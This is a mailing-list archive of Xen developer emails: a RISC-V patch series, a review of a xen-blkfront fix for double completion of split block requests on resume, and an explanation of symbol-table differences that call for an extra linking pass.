         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=jrJFWLicsUvUdRPe4aai5P4jIBINqdgc0aiTjMmxkXM=;
        b=RKS2QGicoINR28nX98MkXSra2WaLzdQAogz0xYWqK+dg2/onlzwf1GIMhrG7A6TCIn
         EqdkWSzcvQnGGTlLmUV3i2UmPgiO9PZt/WR3O9q9CitzezTzO0DKQxF+jqI5MmRgWu69
         1Z1IvvzVnMorWsjf3DO1bZHGCoyJ3XkZeLxWcPm84l9x/FKtJImj4UiZ9g+uXSBGp9Qt
         gVOyb1phFfWLs4hzIP9JpDSqpULNDkjbSRgc2XzfJJvjG9T0A+Rnn+5n9VJNwCmwotDC
         m/gcWXL/YPitLj0hJwvY9FxbzHQX+v1O2AKhIM23dZfDGCGmhz8oC3hFF5Sb7pTUPiqv
         yiJg==
X-Forwarded-Encrypted: i=1; AHgh+RqIYvUAPdKqbG3Ul8J+N/d298uoY40Jgcufh8Ql1fgUge9M5TFMjrHgoS3LRuiO4RF9NTnBPLRVd0s=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwomJzGYe8IiXV6YKtQndr8Yosk++jWjoXcstlXpGglQhirMGaM
	maGcg9n7CqnjexzDmq/J+wwpdk+C71fKxvihZbuUnjBr8/luC0Jg4Vch
X-Gm-Gg: AfdE7ckD67gLH+jsgsM8ILMJgL8Aqzz3aDSjhIm1GFfz1X+yZpUj7POnQVkpFWCyMlx
	qi+GtGGbdfyAmvtA93ntYQlMx9jOWV/cFrEJoqpfPuDu2srS354rrvEXBul6dqI/x9W86lCh75x
	l9wJcIWY7d7lMytX71KwfonAVgkffZBjLK+m5iVcvFIGWhqZI6KDiPIm0V+KJaPjhLb9nY06Iup
	lYLuP/JSb1Fmzn9PZDmBThTrhwroZyQp0NEm5FXJYU0h8RgBqHBb4BUFd/Z2g9Dd7YIoES3QjOp
	pVu6BO67d2ycd/9TrnbXY6lP/6Xx52XYMSytz6ILPIXQLJH5BwCX0Aa5cjHDonp80OWr56SwZfP
	yo8nMwbaB2jrC6lWTx4a7Ei2cy5ddA7C4C/wReC+Ke4EjdiSIipYPBlUkK9xlFBSKgzSAEeikww
	6uE/kfbuxFIBB9+qnQeSnI123Sx0cQ/3EySaRi+uAsrgCr+Dsul7io0bEsaYOyYM+g+d8=
X-Received: by 2002:a05:6512:1304:b0:5ae:b7d1:161e with SMTP id 2adb3069b0e04-5b007c3e208mr850511e87.39.1783409651779;
        Tue, 07 Jul 2026 00:34:11 -0700 (PDT)
Message-ID: <025c0552-b31d-4c97-aecc-af9e170e6bfa@gmail.com>
Date: Tue, 7 Jul 2026 09:34:10 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 05/26] xen/riscv: rename enum intc_version to
 intc_variant
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <d8a27698b82abc2044ae33887af8132aa749c1f2.1783331040.git.oleksii.kurochko@gmail.com>
 <89ec62aa-dbcd-496c-8d0b-28bc395d63cf@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <89ec62aa-dbcd-496c-8d0b-28bc395d63cf@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1783409652-93339D51-A83FF388/10/73395122804
X-purgate-type: spam
X-purgate-size: 701



On 7/6/26 6:05 PM, Jan Beulich wrote:
> On 06.07.2026 17:57, Oleksii Kurochko wrote:
>> Rename the enum to intc_variant and the structure member from hw_version
>> to hw_variant to better reflect that these values select between
>> different controller variants, not versions of the same one.
>>
>> Suggested-by: Jan Beulich <jbeulich@suse.com>
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
>> Acked-by: Jan Beulich <jbeulich@suse.com>
> 
> Didn't you say you'd drop this if already committed by the posting of v5?

I just missed doing a proper rebase on top of staging, but I can see 
that this patch is already there.

Sorry for the inconvenience.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 07:48:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 07:48:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355993.1610662 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh0XM-00017P-H2; Tue, 07 Jul 2026 07:48:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355993.1610662; Tue, 07 Jul 2026 07:48:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh0XM-00017I-C0; Tue, 07 Jul 2026 07:48:12 +0000
Received: by outflank-mailman (input) for mailman id 1355993;
 Tue, 07 Jul 2026 07:48:11 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1wh0XL-00017C-6r
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 07:48:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh0XJ-003f92-FY
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 09:48:09 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <roger.pau@citrix.com>)
 id 6a4caf36-5cb7-0a2a0a5109dd-0a2a450982b8-12
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 09:48:09 +0200
Received: from [52.101.201.10]
 (helo=PH7PR06CU001.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <roger.pau@citrix.com>)
 id 6a4caf37-97e6-0a2a45090019-3465c90a66a8-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 09:48:09 +0200
Received: from CH7PR03MB7860.namprd03.prod.outlook.com (2603:10b6:610:24e::14)
 by SA2PR03MB5771.namprd03.prod.outlook.com (2603:10b6:806:11e::14)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.13; Tue, 7 Jul
 2026 07:48:05 +0000
Received: from CH7PR03MB7860.namprd03.prod.outlook.com
 ([fe80::f5ba:35df:1c9f:b343]) by CH7PR03MB7860.namprd03.prod.outlook.com
 ([fe80::f5ba:35df:1c9f:b343%4]) with mapi id 15.21.0181.009; Tue, 7 Jul 2026
 07:48:05 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=F/27Gq3wTdpePlpHPohVGSLvzKI3HTY1f2H3yeMOFZnkLJ5GeAWCQ6MA1iv42dK1ioG1oQt5WXyP+I8awaNhjzmjTrso/uUrHz3bCRBuLOt6504l/36xRazNPi1ZI5FkJBbpe/ECcUqc7dXDLohHP+RshHhnAIHgIp6JXxJzIKgAaSOpIGOePVEO27e8CSvyYSO7WZh6T0cVUWEp4ZECI43A6iZDv9GJ7ESuPZ38XrmnW+tYYQPh+vWt1xYf6EJZ228wrnl3eca8jPPFljhyjF/CWOZxB04CR4ve0zduOpAz1U5NYqFunKN1gLvfXCLRepnBTGCzWrDES/OjwOqEkw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=f9klClZThwOFWr8Eq1f2cJVfOPhQAKdEE9+HWrji7yI=;
 b=Iqn0Z4OAMLysIlh0Ck4U//DUEqgTRD1QL3T4DdYDfZY6PIwwjKbc8Tczy2xI4b5f0cvU3Bl7EHTiR051+Qnz/eStmD1W534SJwLCtMu+SYq/EgkG7LLhZ29tIKjKcCB8ZBoCUh3M9kOlhOqtQykvGHCdWlR9wHGUxMXkBJvBqH++xth3u7Bx/1lH1xlwOyhPpGlfp+Nb610IsRqoIZL01HqtPiFUGL/4uL1xXU4mfbNcAZoz4181bjY23IlaOulgoBrewMOU0NW6k4r1y3vB5GmFqO1h78CDeKU20ovY15fvbdvMc2mPPAgbjtdT81SdjUKN6QzGyUrLakQOAp5pRw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=f9klClZThwOFWr8Eq1f2cJVfOPhQAKdEE9+HWrji7yI=;
 b=HtQpoDCCf5CPpLmdisfVbuCoH0xdKmNNYj9WIAmx++SyjigucAB9DphQlROHgWIZWsAcSy6uUxL/2ShXT75i7CsUPzHO1VFmasv3tAUaSj+PyLV9rpWGy8nmLVRb7F7vRkXi7R2gvtvsVGzmAoGFppJCBcpRSFu6lXrY8SVN6Eo=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Date: Tue, 7 Jul 2026 09:48:02 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Doruk Tan Ozturk <doruk@0sec.ai>
Cc: Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>,
	Jens Axboe <axboe@kernel.dk>, xen-devel@lists.xenproject.org,
	linux-block@vger.kernel.org, linux-kernel@vger.kernel.org
Subject: Re: [PATCH] xen-blkfront: fix double completion of split requests on
 resume
Message-ID: <akyvMpT0fBT5EDME@macbook.local>
References: <20260705115639.72805-1-doruk@0sec.ai>
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <20260705115639.72805-1-doruk@0sec.ai>
X-ClientProxiedBy: BN1PR10CA0026.namprd10.prod.outlook.com
 (2603:10b6:408:e0::31) To CH7PR03MB7860.namprd03.prod.outlook.com
 (2603:10b6:610:24e::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH7PR03MB7860:EE_|SA2PR03MB5771:EE_
X-MS-Office365-Filtering-Correlation-Id: 8e9b05b3-6502-47a9-dcea-08dedbfc142b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|366016|1800799024|376014|18002099003|22082099003|11063799006|3023799007|56012099006;
X-Microsoft-Antispam-Message-Info:
	H7d3jbU+9wzVWfvTDFwVBphO8Hd0j/vam5Q6Ggzvw3A5pNuVyoyYGT3pqY1xyjktgQRs006l074VxqzyfoQSUB4qNccoTOOFAh9p/bNeKd00FfVxbezTy9UcuGsB1kMZFhVlG6YsJ0yDo67VxlFBFOAVgEkb8z3UH8qUic0q6g5oNMZiVKyZtGh5jR+A14tDzPD4O5QriLJJ82p5md+AO0p+9uiWEPlcUySzjN5F/9KalTBFT0ZhN7CPvJ88FjBwirTnP4AtAGec9uTXG5eJpQo4Q4nNhW5f6IpQCoITRV47nOtCaWyxQlWUhjepSZfpQGlrJqiDuTn0A8pKjpnYrtbSJdqV4TN8pkMkk+po4OTkLpNQNrwz3653VPjHe0QGhewxTdZ9xn0nA//E7wT4326iH2rudKbIkuzL7QkJeY4MD6qLZsAJEg0e/hv+HW/lEoGQzwF9kCVaslDMwOYJtKUrMqmYDedMiaMo8+6lEJ0ZzufFYvKFVH+k7wt6/xmwFay5X0d/eY/W2uaWjHB4jnscS2/IbzW5bjZpZg6WyPri1I39cAfWH79pfrN4x+zVeukMht32reA6LDZAw0VvwUzVFXZ1FuiaLGwklaVCqAs=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH7PR03MB7860.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(1800799024)(376014)(18002099003)(22082099003)(11063799006)(3023799007)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?Q3YwYitQdGJOM1Rob0NXODJQazErNGhkKzU1c00xOUFwM2piYlRwZXF1N3Zw?=
 =?utf-8?B?YUp6bUM3SE5CekNQUzZxMGZORE0vV2FWODViamJpeUFOWTN4WXlYaFVEVUoy?=
 =?utf-8?B?cFVNbEtRTGFiOVRKbGtlUHdUTFc5KzdVaUpobzJwdld5Q0ZxTG93Zkc1RlJP?=
 =?utf-8?B?Z3luSis0TThSUGxyOFkvc3NjNzNiVFg3cGF1MUV1cFlGc0p2VVI3WWg4ZWYr?=
 =?utf-8?B?MS9GRWFJZ3FZRkNPQTNHQ3ZZQXhUU1REMExrL1JLTmJjYVF3ZHRUbWl4N042?=
 =?utf-8?B?aC9UK3hpNWF2ZUxpbEZaTkdsQzVGWlBwYlVXdElUa2tJMmdjaTVNVjJUeVpJ?=
 =?utf-8?B?eXNjeGJjSlA4aHZYQ0tiNmpnSU1LYSs3MTVST0NVUWxzRVBNeWNJR1NRQk9B?=
 =?utf-8?B?RGhyQkxGZk0xa3lIbnJtemczdDlrTzZkamhnZTlGOHdsMDlhdFV2ZHB1QXFF?=
 =?utf-8?B?YUhkUVBiN0FmWFFPUEY3WTJsOHYzRVVneU0xRlorV21pbHBiZXR4aWw2ZlNs?=
 =?utf-8?B?dXNpM1BabnVQSUE0WmllVXp4WWVVWTJ3WG1mQ0FzV3dMUVhjTmdiazlhQmky?=
 =?utf-8?B?R0NXZXZSZ3BzTm94YW9GMU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TGdIUVdSdz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 8e9b05b3-6502-47a9-dcea-08dedbfc142b
X-MS-Exchange-CrossTenant-AuthSource: CH7PR03MB7860.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 07 Jul 2026 07:48:05.2102
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: sXGZ1e1/nwuWdOdkT8PPwJfGfEBqVut+nheTaI/rvWNxrGyjv1XawuUpAHLqvOZwzV1uKRfWKgkkjmGqPlcS4g==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA2PR03MB5771
X-purgate-ID: tlsNG-bad1c0/1783410489-56393986-89EDF0B6/0/0
X-purgate-type: clean
X-purgate-size: 3632

On Sun, Jul 05, 2026 at 01:56:39PM +0200, Doruk Tan Ozturk wrote:
> When a block request is too large for a single ring entry and the
> backend does not support indirect descriptors, blkfront splits it
> across two ring requests.  blkif_ring_get_request() is called twice
> and both shadow slots (shadow[id] and shadow[extra_id]) are made to
> point at the *same* struct request, linked together through
> associated_id.

This is not exactly accurate.  Under normal operation the blk queue
parameters are already set to ensure the requests match the maximum
size the ring can accommodate.  However on ARM there's a corner case
when the guest is using 64K pages, as in that case even a single page
request cannot possibly fit into a single ring slot, and thus needs to
be split.

This needs mentioning explicitly in the commit message, that such
splitting only happens when the frontend is running on a 64K page
kernel.

> 
> On the normal completion path blkif_completion() collapses the pair:
> it recycles the second slot via add_id_to_freelist() and only completes
> the request once.  The suspend/resume path in blkfront_resume() does
> not.  It walks every physical shadow slot and, for each slot whose
> ->request is set, calls blk_mq_end_request() or re-queues
> ->request.  For an in-flight split request this visits the shared
> struct request twice, so on resume/migration the same request is
> ended (or re-queued) two times.  The second visit is a double
> blk_mq_end_request() (refcount underflow / double free) and a
> use-after-free read of req->bio, which was cleared on the first visit.
> 
> Skip the secondary slot of a split request in the resume walk, so each
> logical request is completed or re-queued exactly once, matching how
> blkif_completion() already treats the pair.  The secondary slot is the
> one that is linked (associated_id != NO_ASSOCIATED_ID) and carries no
> scatter-gather list (num_sg == 0); the first slot always keeps the
> scatter-gather list.

I find the above slightly too verbose, I don't think you need to go
into details about why freeing a requests twice is bad, this is
already well-known.

> This was found by 0sec automated security-research tooling
> (https://0sec.ai).

Isn't this information already conveyed by the `Assisted-by` tag?

> The bug is only reachable on suspend/resume or live
> migration of a guest whose backend lacks indirect-descriptor support, so
> it has no local reproducer; the fix is by source inspection against the
> existing blkif_completion() collapse logic.
> 
> Fixes: 6cc568339047 ("xen/blkfront: Handle non-indirect grant with 64KB pages")
> Assisted-by: 0sec:claude-opus-4-8
> Signed-off-by: Doruk Tan Ozturk <doruk@0sec.ai>
> ---
>  drivers/block/xen-blkfront.c | 9 +++++++++
>  1 file changed, 9 insertions(+)
> 
> diff --git a/drivers/block/xen-blkfront.c b/drivers/block/xen-blkfront.c
> index f765970578f9..b2e83fd0c77b 100644
> --- a/drivers/block/xen-blkfront.c
> +++ b/drivers/block/xen-blkfront.c
> @@ -2079,6 +2079,15 @@ static int blkfront_resume(struct xenbus_device *dev)
>  			if (!shadow[j].request)
>  				continue;
>  
> +			/*
> +			 * Split requests alias one request across two shadow
> +			 * slots; skip the sg-less secondary so it completes
> +			 * once, like blkif_completion() does.

I would possibly avoid mentioning blkif_completion(), as those
references tend to get stale as code changes.  What about using:

"For requests split across multiple slots only process the underlying
requests once."

Or something similar?

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:20:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:20:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356021.1610670 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh12B-0006PD-G7; Tue, 07 Jul 2026 08:20:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356021.1610670; Tue, 07 Jul 2026 08:20:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh12B-0006Om-Cb; Tue, 07 Jul 2026 08:20:03 +0000
Received: by outflank-mailman (input) for mailman id 1356021;
 Tue, 07 Jul 2026 08:20:03 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wh12A-0006FO-Vo
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:20:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh12A-00CwVv-5g
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:20:02 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4cb6ae-2eae-0a2a0a5409dd-0a2a450a83f0-22
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:20:01 +0200
Received: from [209.85.167.42] (helo=mail-lf1-f42.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4cb6b1-e40e-0a2a450a0019-d155a72abddc-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:20:01 +0200
Received: by mail-lf1-f42.google.com with SMTP id
 2adb3069b0e04-5aeb5e85378so4386579e87.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 01:20:01 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5aed13c8c3asm3498227e87.82.2026.07.07.01.20.00
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 01:20:00 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783412401; x=1784017201; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=lDHW20h20Zg6KDUMq92qcS2XQLqNXHumydYe4vRGDsU=;
        b=CmJm9yWCRrtZ5RLBQCO7s40YcZ2U+VciRQmWjV4UliBpJmUXWPuQ/5NqW4a9FWDxlP
         uYcxE4yJfiFbNBdPG3gg4IuOFSyRp5Gxr1tcQkA3dRNPdcs5WB4Z8+dCPLkzx4HICo2V
         p3r8Epw1ICyZrOWmxaHPGEbOQmW4v6lDuE2FDJ6iOHn6kak+35j9T815yTFlru1C5xuE
         SYTMZe18FJgGMageyInb4koKU7yQSrb7+u27tCF6meye8UFG43z65EoFa5ye1Eqj5jYA
         3zQ3JqGPhD9w3UYKFDlbDb0qtIQRAAFK3i/UgbpsYB1IPUvcwBFtEyrJBrPMlylrW+qm
         sZJw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783412401; x=1784017201;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=lDHW20h20Zg6KDUMq92qcS2XQLqNXHumydYe4vRGDsU=;
        b=rDTXiSAtOZZGqkcOmo46r6crbDAkvNHiaf9tDeCc9oaleUbk+/k6klyCdUSnUn7anJ
         bHOaPgh+pz70z0Y1LUo7z+jvjAM+vhubC+gcYQ8i5x8kk+dhbTVAt1UCoo0RVLPXsZv+
         e+qNBpRItuX7y+pmCJR62x1UxbUj6NucJFWL1GPQiTPz2q7O6yJ4jxg0yXIwF+9tSKLR
         vIIDuRi/G85nU1mWgVqyYP7qD/UdA+pKmxBOMCyqKP+CxDVP+KIkGqpjzljXPAQCYJKN
         f+2sM3Ic5X9lSSs4fX84LEJxw5SyzRt7H4ohSNBqCPzfl3uHeDXDK319K705SNBXGFfR
         TpBg==
X-Forwarded-Encrypted: i=1; AHgh+RpXMFk6dgLp2ZtbGUiy/lBoIu9eQK5ce42mqXsFsIF+KcjSXxM/JszKuClpzX2URSZD9nJ/T6MUi7I=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxYynCVkEVF+Jb/ZQrJ0HNr8D2alpe+myel66nhcxgyXagUzSnN
	2i0BGgo8NtVx7uoJo6C/bxYnRQmTgxuJOvc120kqMerlglrGwjvaoPvs
X-Gm-Gg: AfdE7cks13OcCURWiBoq2VvnNf8dvu80bPSkgc7xO1hn72e2+haRdue/S2Me02WOlWe
	z6A1vF4sTxyhjwMx2zEjCy+I5iL0j9ZzcBR9Qdly222LUwE4zzEIArkbuj3HQCK/oxS73XLsyqN
	1EbDOBEf5V8/IRk/FNnj/pMUeXfexuMApXKUyRJ0DWoAmnNSYoimWrnVYp9o/1kpYmQAyY8quhJ
	YrAAFVG9fUR0w7Ya/pPiqdHo1SjgwPOH92pGGVnH+7nuTPi+1etRzGQueOvaUcLlKjj+NloEVaj
	z8VFxArdTvmvO08ob8GuhPRhyIKwuF2lZ6cpKShYWBT2p/TeCWrWsXt4c3kQBpyh8/tSfCQ5cCu
	di04jHaXRXYE0vjOfTaXR/Ce8uN1coeJ7808kg8MftZAh62OeI6xC5kKWuJZuvqV/Ew9S7XebR6
	Bc3s7Q+t/yWjQEGJWEFg7BOWy4rmNRfY1t74k7OsRMSQoHUMoFTUYxZFGPIidut7z/IY0=
X-Received: by 2002:a05:6512:61a:b0:5ae:c21b:1cb6 with SMTP id 2adb3069b0e04-5b007c09eefmr774963e87.28.1783412401085;
        Tue, 07 Jul 2026 01:20:01 -0700 (PDT)
Message-ID: <66b5f31f-8ef6-4555-9c04-f5314512b598@gmail.com>
Date: Tue, 7 Jul 2026 10:19:59 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 26/26] xen/riscv: do a 4th linking pass if necessary
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <ba3b7e3197ae90c9f0e5190ba34de174b86090ac.1783331040.git.oleksii.kurochko@gmail.com>
 <3835ed9c-4c9a-49e4-90fd-37644262a942@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <3835ed9c-4c9a-49e4-90fd-37644262a942@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1783412401-CED3BDDE-53ABCCD7/10/73395122804
X-purgate-type: spam
X-purgate-size: 7504



On 7/6/26 6:13 PM, Jan Beulich wrote:
> On 06.07.2026 17:58, Oleksii Kurochko wrote:
>> Embedding the symbol table can shift sections and flip relaxation
>> decisions, changing code size and thus the set of emitted symbols
>> (e.g. gap end markers).
> 
> What difference in symbols is there? (And: Do you mean the ELF symbol
> table or what tools/symbols emits?) On ...

The ELF symbol tables of .xen-syms.0 and .xen-syms.1 are identical
(same names, types, and count; only addresses past a certain point
differ). The difference is in what tools/symbols emits: the
address-only "end of symbol" entry produced when want_symbol_end()
is true, i.e. when a sized text symbol's end doesn't reach the next
symbol's address:

     static bool want_symbol_end(unsigned int idx)
     {
         return table[idx].size &&
                (idx + 1 == table_cnt ||
                 table[idx].addr + table[idx].size < table[idx + 1].addr);
     }

In pass 1 (generated from .xen-syms.0): simple_strtoull is at
0xffffffffc00c0444 with size 0x16c, ending at 0xffffffffc00c05b0,
while turn_on_mmu (alignment-pinned) starts at 0xffffffffc00c05c0.
16-byte gap -> the end marker at ...c05b0 is emitted.

In pass 2 (generated from .xen-syms.1): simple_strtoull moved to
0xffffffffc00c0454 (same size), ending at exactly 0xffffffffc00c05c0
== turn_on_mmu. No gap -> no end marker. Hence symbols_addresses
shrinks by 8 and symbols_names by 1 (the marker's empty name).

> 
>>   Re-link with a regenerated table when its
>> size differs from the previous pass.
>>
>> This mirrors commit 35de7285d508 ("Arm: do a 4th linking pass if
>> necessary"), which riscv didn't receive when the underlying
